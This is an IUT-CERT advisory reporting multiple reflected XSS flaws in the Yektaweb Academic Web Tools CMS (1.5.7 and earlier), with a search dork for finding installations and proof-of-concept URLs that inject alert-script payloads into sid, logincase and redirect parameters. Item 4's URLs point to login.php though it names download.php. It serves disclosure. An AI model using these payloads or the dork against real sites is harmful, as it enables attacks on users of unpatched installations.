============================================ IUT-CERT ============================================

 Title: Academic Web Tools CMS Multiple XSS
 Vendor: www.yektaweb.com
 Vulnerable Version: 1.5.7 and priors
 Type: XSS
 Fix: N/A
 Dork: AWT YEKTA

============================================  nsec.ir ============================================

Description:
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  YEKTAWEB Academic Web Tools is a Persian Content Management System (CMS) for managing university
  affairs such as conferences, journals and etc.
    The built-in filter of this package can not prevent XSS attack on some parameters.



Vulnerabilities:
------------------

  1- Cross Site Scripting (XSS) in "/page.php" in "sid","logincase" and "redirect" parameters.
  https://yoursite/page.php?sid=[XSS]
  https://yoursite/page.php?logincase=[XSS]
  https://yoursite/page.php?redirect=[XSS]
  
  2- Cross Site Scripting (XSS) in "/page_arch.php" in "sid","logincase" and "redirect" parameters.
  https://yoursite/page_arch.php?sid=[XSS]
  https://yoursite/page_arch.php?logincase=[XSS]
  https://yoursite/page_arch.php?redirect=[XSS]


  3- Cross Site Scripting (XSS) in "/login.php" in "sid" ,"logincase" and "redirect" parameters.
  https://yoursite/login.php?sid=[XSS]
  https://yoursite/login.php?logincase=[XSS]
  https://yoursite/login.php?redirect=[XSS]

  4- Cross Site Scripting (XSS) in "/download.php" in "sid" ,"logincase" and "redirect" parameters.
  https://yoursite/login.php?sid=[XSS]
  https://yoursite/login.php?logincase=[XSS]
  https://yoursite/login.php?redirect=[XSS]


Exploit/PoC:
------------------


Example: 
    https://yoursite/login.php?slct_pg_id=53&sid=1*/--></script><script>alert(188017)</script>&slc_lang=fa
    https://yoursite/page_arch.php?slc_lang=fa&sid=1&logincase=*/--></script><script>alert(188017)</script>
    https://yoursite/page.php?sid=1&slc_lang=en&redirect=*/--></script><script>alert(188017)</script>


Solution:
------------------

    Input Validation Filter should be patched.


Credit: 
------------------
Isfahan University of Technology - Computer Emergency Response Team
Thanks to : M. R. Faghani, N. Fathi, E. Aerabi, E. Jafari